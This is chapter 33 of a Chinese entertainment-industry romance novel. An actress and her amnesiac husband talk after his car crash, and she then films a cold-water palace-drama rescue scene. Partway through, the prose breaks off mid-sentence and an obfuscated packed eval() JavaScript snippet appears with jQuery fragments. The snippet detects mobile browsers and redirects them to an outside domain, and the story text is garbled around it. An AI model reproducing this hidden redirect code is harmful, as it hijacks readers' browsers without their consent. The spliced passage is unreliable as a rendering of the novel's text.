33. 第 33 章

作品:《二搭[娱乐圈]

    云灯似笑非笑地看着他,“你不记得也好,免得大晚上又要跟我闹。”


    “我为什么会因为他跟你闹啊。”叶平川反问,“他是什么很重要的人吗?”


    她也反问,“你到底是要做,还是要说这些没用的话?”


    “……”


    不提还好。车上被他说过之后,小腹里那种姨妈欲来的酸沉感越发明显,云灯跳下桌子,“你这里还有棉条么?诶,肯定也不记得了。”


    她说着就要回自己房间。叶平川想也没想地跟过来,隔着卫生间门跟她说话,黏人得像块牛皮糖,“来了吗?真的来了吗?”


    “没有,但以防万一我要放棉条。”时不待人。被打断后就没了兴致,她冷漠的声音隔着门传出来,“你自己解决吧。”


    叶平川一愣,有点不好意思,“啊?在这里吗?”


    “……”


    可惜只是失忆,不是转性。脸皮该厚还是很厚。


    云灯顺便洗了个澡,收拾完出来看他还没走,正坐在地上低头看剧本。


    “跟导演商量过了,会给你几天假。”


    “不用,我能拍。”


    拖延时间会增加拍摄成本。云灯弯腰摸他的脸,“给我省钱?这么懂事。”


    叶平川仰头蹭了蹭她的手,眯起眼睛,“背点台词而已,小意思。我可是过目不忘的。”


    他长了张艺术生的脸,但在高二之前都没想过要走这条路,理科成绩稳稳的全校前三,关键天天放了学不是打球就是打游戏。


    没怎么学都混成学霸了,认真起来还得了?


    他对自己的智商向来很有信心。


    叶平川是典型的靠脑子演戏的那派演员。他不见得有多高的表演天赋,但胜在学习能力超强,能够充分理解剧本想表达的内容,理解导演想要的效果。


    就很吃角色。碰到好的班底他很容易大放异彩,没有的话,保底至少也不会出错。


    看他不打算回去睡觉,云灯也没有赶人,坐下来跟他讨论明天的戏份。多耽误一天就多一天的成本,他能拍当然最好。


    说着说着,不知怎么就又亲到了一块儿,从沙发亲到床上。只点火不给灭。


    “不难受吗?”云灯偏头想要避开他,以免再亲下去收不了场。


    “你不难受吗。”叶平川蠢蠢欲动。


    “还好,”她镇定道,“反正我里面已经有一根了。”


    “……”


    虽然话糙理不糙——


    但这话也太糙了。


    叶平川像被戳中了笑穴,脸埋在她脖子里嗡嗡响。她痒得也跟着笑了,“差不多行了啊,别待会儿又笑出脑震荡。”


    花了好久才安静下来。叶平川抱着她不松开,手臂横过她的腰,手指划拨着床上散落的发尾,绕出一个个小旋。


    他好像很喜欢玩她的头发,像在画画。云灯忽然有点好奇他在想什么,却没有问。


    长久的沉默之后,叶平川说,“这还是我这辈子第一次出车祸呢。看到我的样子,是不是很害怕?”


    当时整个车祸现场就只有云灯和他两个人,他还是半死不活的昏迷状态。四舍五入她要自己待在那么恐怖的地方,处理紧急发生的状况。每一秒钟都是煎熬。


    好在路口的位置不算偏僻,否则打电话叫救护车都要等很久。万一车烧炸了,后果更是不堪设想。


    医院里的护理师告诉他,救护车到达之前,云灯曾试图把他从车里拖出来。


    叶平川无法想象那时她的心情,手臂不自觉地收紧,直到她不舒服地动了动,才猛地回过神,松懈了大部分。


    “没有很害怕。”云灯说,“我见过真正的尸体,不是你那样的。你还热着呢。”


    “……”


    “以后不要再做这么傻的事了。”


    她推推叶平川,“你都不知道我是不是在车里。如果当时那辆车里是别人,你也会冲上去吗?”


    “哪儿有时间想是不是别人。我只要想到你有可能在里面,那就得冲啊。”他说完,又严谨地补了句,“我猜当时就是这么个情况。”


    “……早知道我就留在医院里陪小天过夜了,说不定就没这些事。”


    “揪出来也好啊,省得你一直被人惦记着。”


    他缝针的脑袋还不安分地拱来拱去,语气轻松道,“这叫用最小代价解决了隐患,算下来咱俩还是赚的。”


    话是这么说。可她的隐患,也应该用她的代价去解决才对。


    他就这样轻而易举地用“咱俩”这种词代替掉了。


    再去分什么你我,反倒显得人矫情。


    “叶平川……”她是想说些什么的,开口后却演变成一声叹息。被他逮着了,美滋滋道,“干嘛?面对面躺着还是很想我吗。”


    “……”


    “我不会有事的。以前没有过,以后也不会有。你信不信?”他说,“等到了八十岁,我们还是能这样躺一块儿聊天。”


    “八十岁我都绝经了。”云灯又是一声长叹,“好想绝经啊。”


    入睡前话题最终歪到了哪里,都不记得了,也没人在意。叶平川心底隐秘的担忧,在见到她的这个晚上无痕地融化。


    活着真好,还能抱老婆睡觉。


    他的四肢贴着云灯的身体,似乎就能和她血液流动的速度同步,和她的呼吸脉搏同频。像一截树杈上的两只苹果。


    彼此安抚,浑然一体。


    拍摄到了疲惫期,恰逢元旦,导演组商量着放一天假,给大家休息调整。


    有了盼头,放假前的这几天,大家干活就更有劲了些。


    这天云灯拍摄的剧情内容是皇女时期,言秋借由身边女官的帮助,看清了淑贵妃的真实面目。


    这场戏也是剧中名场面,云灯,申雪舒和叶清都在。开机前大家在一起说说笑笑,叶清来得最晚,拍完后一分钟都没有多留,就独自离开了。


    这几天事情多,夜店的那笔帐云灯还没来得及找她清算,反倒先听到了一些有趣的流言。


    “最近组里好像有人在传我们搞小团体孤立她。”申雪舒要收工了,很松弛地双手环胸,对着她面前的化妆镜翻白眼。


    “贵妃娘娘好手段啊,这么委屈的话建议她自己单开一个组。”


    “收声啦你。”云灯手里握着剧本,眼睛都懒得抬,“人哋睇到又要讲你雌竞。”


    “系咁?啦。”她笑嘻嘻地靠过来,“罩我啊大佬。”


    “少来。昨天叫我什么事?”


    嬉皮笑脸的表情立刻垮了下去。申雪舒撇撇嘴说,“就元旦嘛。你知道的,这种节日傅谦明必定会来。我压力真的好大。”


    她跟傅谦明的时间越久,就越能体会到普通打工人上班如上坟的心情。


    从前大小姐的日子过惯了,现在要压抑天性地讨好男人,才能维持优越的生活。物质和自尊在天平的两边摇摇晃晃,也是折磨。


    “你跟你父母的关系很好么?”云灯问。


    “说不上有多好。只是前十几年他们给我很好的条件,现在轮到我弄钱给他们养老了,也无可厚非吧。”


    “嗯。”云灯又问,“如果你留在这儿,确定他们不会为了钱站在傅谦明那边,跟你作对么?”


    她这是在想办法了。申雪舒眼睛一亮,即刻道,“不会的。他们现在心气也没那么高了,我拍戏挣到的钱足够一家人花销,只要能把他们接过来就行。”


    “好。”


    导演在找了。云灯起身道,“晚上我再去找你。”


    “好!”


    淑贵妃的阴谋暴露,给了言秋关键性的启发,也是影响她行为方式的转折点。


    从前的言秋只是想参与政事,为百姓造福。然而亲眼见到这个女人的野心,是她第一次明确地意识到,谁都可以去争夺那个至高无上的权力宝座。


    她也可以。


    为了达到目的,她放下孤傲清高的身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406371|163233||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    段,开始使用从前看不上的手段。这场戏就是她自导自演,让宫人将小皇弟推入池中,再亲自奋不顾身地去救。


    当然,时机也要算得刚刚好,要让来御花园散心的皇帝亲眼看见。


    这番操作成功地为她博得皇帝的青睐,也打消了她德不配位的疑心。言秋因此在一众皇嗣里逐渐脱颖而出,地位步步高升。


    小演员有点怕水,要连哄带夸,才小碎步地挪到池边,反复确认,“不会真的把我推下去,对吗?”


    “对,等会儿叔叔轻轻地推一下,糯糯立刻蹲下就好了。”后期会替换成负重的人偶,靠剪辑手法以假乱真,只看背影看不出端倪。


    但言秋救人的桥段是需要云灯下水的。这种戏重拍起来会很麻烦,服装师提前准备了好几套替换衣服。云灯蹲在池边,反复和摄像机确认位置,“争取一遍过。”


    池子有点深。好在她会游泳,需要克服的就是寒冷天气和身上繁重的衣物。


    商量了一会儿,她们发现这样的条件下下水,没有可以在镜头中保持优雅精致的好方法。


    很多导演都希望自己的镜头里填满对美的呈现,因此可劲儿折腾演员。尤其是对女演员来说,上镜美丽等同于吸烟刻肺的规训。


    “偶尔也要允许自己狼狈。”邓晓琼对她说,“咱要登基的人,成大事者不拘小节。放开去扑腾吧,不管怎么样都一次过。”


    有了这句话,云灯的拍摄阻力减少许多,在池边活动热身片刻。机器一开,替身人偶被推了进去。她紧随其后,毫不犹豫地纵身跃入池中。


    刺骨的池水顷刻间浸透五脏六腑,她做足了心里准备,还是冻得手脚发麻,牙齿打颤,奋力游过去,抓住即将沉没的人偶往水面上提,“莫怕,皇姐抓到你了,没事的。”


    身体冻僵不听使唤,往回游的两米距离她扑腾了快一分钟。等她上岸邓晓琼立刻喊卡,移开人偶,让小演员躺进她怀里。


    拍完这一场才知道什么叫透心凉。她把能脱的外袍都脱了,裹着厚重的羽绒服去车上换衣服。


    梁天跟着一路给她头发吸水,恨不得把自己也裹她身上,“我看到车上有棉条,姐你例假来了吗?怎么不跟导演说呢。”


    “就这一点,没必要。”她说,“这不是拍得挺快的吗。”


    “唉……”梁天欲言又止,还是先说了正事,“刚才来了一对夫妻,到酒店前台找你。我不认识他们,但是看着有点来者不善,请他们换个地方也不肯,就在大堂坐着要等你收工。”


    “什么模样?”云灯问。


    “就……看着也挺体面的,像知识分子。但是脸色不好。”梁天如实道。“感觉像来找事的,要不我还是捏个理由把他们打发走?”


    “没关系,我去见一见。”


    她心里大概有数了,拿手机发了两条微信。正遇上叶平川大步流星,一身重臣朝服,锦袍玉冠地往她这边走。


    “怎么一身的水?”叶平川走到她身边,神情微变。“救人的那场不是下周才拍么。”


    “小演员着急回家上补习班,最后一场就提前拍了,正好今天景空着。”


    云灯花了零秒意会到他忽然出现的原因,视线在他身上扫荡一圈,竖起大拇指,“哇,今天这么帅。”


    “今天补拍新皇登基的那场戏。”叶平川已无心耍帅,催促道,“好了,你快上车,把水擦干再换衣服,喝点热的暖暖。”


    拍完戏带着妆造跑这么远过来,就为给老婆看一眼帅帅的自己么。


    梁天死死抿住要上扬的嘴角,打开车门。


    “好,那我就先回酒店了。”云灯说,“你等下坐剧组的车走吧。”


    叶平川有点意外,语气也变得失落,“啊?你不等我了。”


    “我得快点回去冲个热水澡,免得感冒。”


    她上了车又转过身来,站在台阶上伸手摸了摸叶平川的脸,温柔道,“乖。万一我感冒了,传染给你也会难受的。”